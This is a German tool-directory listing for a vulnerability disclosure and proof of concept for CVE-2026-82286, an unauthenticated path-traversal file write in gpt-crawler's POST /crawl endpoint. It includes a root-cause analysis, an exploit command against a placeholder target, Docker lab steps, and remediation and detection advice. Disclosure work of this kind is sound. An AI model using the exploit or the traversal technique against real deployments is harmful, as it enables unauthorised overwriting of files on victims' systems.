Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-82286-gpt-crawler-Arbitrary-File-Write — CVE-2026-82286 — gpt-crawler <=1.5.1 unauthentifiziertes beliebiges Datei-Schreiben über outputFileName (POST /crawl). PoC + eigenständiges Docker-Labor. CVSS 8.6, CWE-22. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-82286-gpt-crawler-arbitrary-file-write
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubbiitts/cve-2026-82286-gpt-crawler-arbitrary-file-write

CVE-2026-82286-gpt-crawler-Arbitrary-File-Write

CVE-2026-82286 — gpt-crawler <=1.5.1 unauthentifiziertes beliebiges Datei-Schreiben über outputFileName (POST /crawl). PoC + eigenständiges Docker-Labor. CVSS 8.6, CWE-22.

Repository anzeigen
vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-82286 — gpt-crawler Nicht authentifiziertes beliebiges Dateischreiben

Proof-of-Concept für ein nicht authentifiziertes beliebiges Dateischreiben in BuilderIO/gpt-crawler (≈22k ★) über den Parameter outputFileName des API-Endpunkts POST /crawl.

CVECVE-2026-82286
Produktgpt-crawler (BuilderIO)
Betroffen<= 1.5.1 (aktuelle Version; HEAD des Standard-Branches ebenfalls betroffen)
KlassePfad-Traversal / Beliebiges Dateischreiben (CWE-22, CWE-73)
CVSS 3.18.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (HOCH)
AuthentifizierungKeine (nicht authentifiziert)
VoraussetzungAPI-Servermodus läuft (npm run start:server)
StatusBESTÄTIGT Ende-zu-Ende (Stand 2026-08-29 nicht gepatcht)

Grundursache

Der API-Server (src/server.ts) stellt POST /crawl ohne Authentifizierung bereit. Der JSON-Body wird direkt in die Crawler-Config geparst; outputFileName wird nur als z.string() validiert — es gibt keine Pfadeinschränkung:

root@kitploit:~
// src/config.ts
outputFileName: z.string(),

In src/core.ts erstellt write() den Ausgabepfad direkt aus diesem angreiferkontrollierten String und ruft darauf fs.writeFile() auf:

root@kitploit:~
// src/core.ts  (write)
const nextFileName = (): string =>
  `${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));

Ein entfernter, nicht authentifizierter Angreifer kontrolliert daher den vollständigen Pfad einer Datei, die außerhalb des vorgesehenen storage/-Ausgabebereichs geschrieben wird — über einen absoluten Pfad (/tmp/x, /home/<user>/x) oder ../-Traversal. Der Datei-Inhalt ist das Crawl-Ergebnis [{title,url,html}], dessen Felder von einer Seite stammen, auf die der Angreifer den Crawler verweist (url auf einen von Ihnen kontrollierten Server setzen), sodass der Inhalt angreiferbeeinflusst ist.

Die einzige Einschränkung ist das erzwungene Suffix -<N>.json (der Name endet immer auf .json) und der JSON-Array-Inhaltswrapper — weshalb dies als beliebiges Dateischreiben (I:H) bewertet wird, nicht als sauberes RCE.

Exploit

root@kitploit:~
python3 exploit.py \
  -t http://TARGET:3000 \
  -u http://ATTACKER:8081/index.html \   # Seite, deren Inhalt in der geschriebenen Datei landet
  -o /home/myuser/PWNED                    # -> schreibt /home/myuser/PWNED-1.json

Der Endpunkt spiegelt den Inhalt der geschriebenen Datei in der HTTP-Antwort wider. Der empirische Beweis ist die Datei, die am vom Angreifer gewählten Pfad im Ziel-Dateisystem erscheint (siehe EVIDENCE.txt).

Reproduktion

root@kitploit:~
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json     # <- außerhalb von storage/ geschrieben, nicht authentifiziert

Aufräumen: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.

Auswirkung

Ein nicht authentifizierter Netzwerkangreifer kann Dateien an beliebigen Pfaden erstellen oder überschreiben (vorbehaltlich der Berechtigungen des Prozessbenutzers und des Suffixes -<N>.json) mit teilweise angreiferkontrolliertem Inhalt. Je nach Bereitstellung ermöglicht dies das Manipulieren von Konfigurations-/Datendateien, das Überschreiben des Anwendungszustands (Integrität/Verfügbarkeit) und kann auf Zielen, die später eine geschriebene *.json-Datei verarbeiten, weiter verkettet werden.

Hinweis zur betroffenen Oberfläche

Die Senke ist nur im API-Server-Modus erreichbar (src/server.ts, gestartet über npm run start:server / die containerapp-Bereitstellung), nicht im Standard-CLI-Modus. Der Server bindet API_HOST (Standard localhost); reale Bereitstellungen, die die API exponieren, setzen es auf 0.0.0.0 (wie das containerapp-Image), wodurch der Endpunkt remote erreichbar wird.

Abhilfe

  • outputFileName gegen ein festes Basisverzeichnis auflösen und das Ergebnis ablehnen, wenn es dieses verlässt (path.resolve(base, name) + Präfixprüfung); .. und absolute Pfade entfernen.
  • Authentifizierung/Autorisierung zu POST /crawl hinzufügen.
  • Den Crawl-Ausgabedateinamen als serverkontrolliert behandeln, nicht als clientgeliefert.

Erkennung

Achten Sie auf POST /crawl-Bodies, deren outputFileName /, \ oder .. enthält, sowie auf *-1.json-Dateien, die außerhalb des storage/-Verzeichnisses des Crawlers erscheinen.

Credits

Forschung & PoC: Caio Fabrício (BiiTts).

Tool herunterladen